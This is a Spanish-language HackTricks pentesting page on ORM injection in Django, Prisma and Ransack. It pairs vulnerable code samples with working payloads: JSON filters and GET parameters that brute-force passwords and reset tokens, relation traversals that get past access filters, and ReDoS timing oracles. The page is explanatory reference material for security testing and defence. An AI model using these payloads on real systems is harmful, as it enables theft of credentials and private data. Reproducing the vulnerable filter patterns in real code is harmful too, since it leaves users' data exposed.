ORM Injection

Support HackTricks

Django ORM (Python)

En esta publicación se explica cómo es posible hacer que un Django ORM sea vulnerable utilizando, por ejemplo, un código como:

class ArticleView(APIView):
"""
Una vista API básica a la que los usuarios envían solicitudes para
buscar artículos
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Nota cómo todos los request.data (que será un json) se pasan directamente a filtrar objetos de la base de datos. Un atacante podría enviar filtros inesperados para filtrar más datos de los esperados.

Ejemplos:

  • Login: En un inicio de sesión simple, intenta filtrar las contraseñas de los usuarios registrados dentro de él.

{
"username": "admin",
"password_startswith":"a"
}

Es posible realizar un ataque de fuerza bruta a la contraseña hasta que se filtre.

  • Filtrado relacional: Es posible recorrer relaciones para filtrar información de columnas que ni siquiera se esperaban usar en la operación. Por ejemplo, si es posible filtrar artículos creados por un usuario con estas relaciones: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Es posible encontrar la contraseña de todos los usuarios que han creado un artículo

  • Filtrado relacional de muchos a muchos: En el ejemplo anterior no pudimos encontrar las contraseñas de los usuarios que no han creado un artículo. Sin embargo, siguiendo otras relaciones esto es posible. Por ejemplo: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

En este caso, podemos encontrar todos los usuarios en los departamentos de usuarios que han creado artículos y luego filtrar sus contraseñas (en el json anterior solo estamos filtrando los nombres de usuario, pero luego es posible filtrar las contraseñas).

  • Abusando de las relaciones muchos-a-muchos de Grupo y Permiso con usuarios en Django: Además, el modelo AbstractUser se utiliza para generar usuarios en Django y, por defecto, este modelo tiene algunas relaciones muchos-a-muchos con las tablas de Permiso y Grupo. Lo que básicamente es una forma predeterminada de acceder a otros usuarios desde un usuario si están en el mismo grupo o comparten el mismo permiso.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: La misma publicación del blog propuso eludir el uso de algunos filtros como articles = Article.objects.filter(is_secret=False, **request.data). Es posible volcar artículos que tienen is_secret=True porque podemos retroceder desde una relación a la tabla Article y filtrar artículos secretos de artículos no secretos porque los resultados están unidos y el campo is_secret se verifica en el artículo no secreto mientras se filtran los datos del artículo secreto.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Abusando de las relaciones, es posible eludir incluso los filtros destinados a proteger los datos mostrados.

  • Error/Time based via ReDoS: En los ejemplos anteriores se esperaba tener diferentes respuestas si el filtrado funcionaba o no para usar eso como oráculo. Pero podría ser posible que se realice alguna acción en la base de datos y la respuesta sea siempre la misma. En este escenario, podría ser posible provocar un error en la base de datos para obtener un nuevo oráculo.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

De la misma publicación sobre este vector:

  • SQLite: No tiene un operador regexp por defecto (requiere cargar una extensión de terceros)

  • PostgreSQL: No tiene un tiempo de espera de regex por defecto y es menos propenso a retrocesos

  • MariaDB: No tiene un tiempo de espera de regex

Prisma ORM (NodeJS)

Los siguientes son trucos extraídos de esta publicación.

  • Control total de búsqueda:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// El atacante tiene control total de todas las opciones de prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Es posible ver que todo el cuerpo de javascript se pasa a prisma para realizar consultas.

En el ejemplo de la publicación original, esto verificaría todas las publicaciones creadas por alguien (cada publicación es creada por alguien) devolviendo también la información del usuario de esa persona (nombre de usuario, contraseña...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
El siguiente selecciona todas las publicaciones creadas por alguien con una contraseña y devolverá la contraseña:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Control total de la cláusula where:

Veamos esto donde el ataque puede controlar la cláusula where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es posible filtrar la contraseña de los usuarios directamente como:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Usando operaciones como startsWith es posible filtrar información.

  • Elusión de filtrado relacional de muchos a muchos:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es posible filtrar artículos no publicados al retroceder a las relaciones de muchos a muchos entre Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

También es posible leak todos los usuarios abusando de algunas relaciones de muchos a muchos de bucle.

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Consultas de error/temporalizadas: En la publicación original puedes leer un conjunto muy extenso de pruebas realizadas para encontrar la carga útil óptima para filtrar información con una carga útil basada en el tiempo. Esto es:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Donde {CONTAINS_LIST} es una lista con 1000 cadenas para asegurarse de que la respuesta se retrase cuando se encuentra la fuga correcta.

Ransack (Ruby)

Estos trucos fueron encontrados en esta publicación.

Tenga en cuenta que Ransack 4.0.0.0 ahora impone el uso de una lista de permitidos explícita para atributos y asociaciones buscables.

Ejemplo vulnerable:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Nota cómo la consulta será definida por los parámetros enviados por el atacante. Fue posible, por ejemplo, forzar el token de restablecimiento con:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Al forzar y potencialmente relacionar, fue posible filtrar más datos de una base de datos.

Referencias

Support HackTricks

Last updated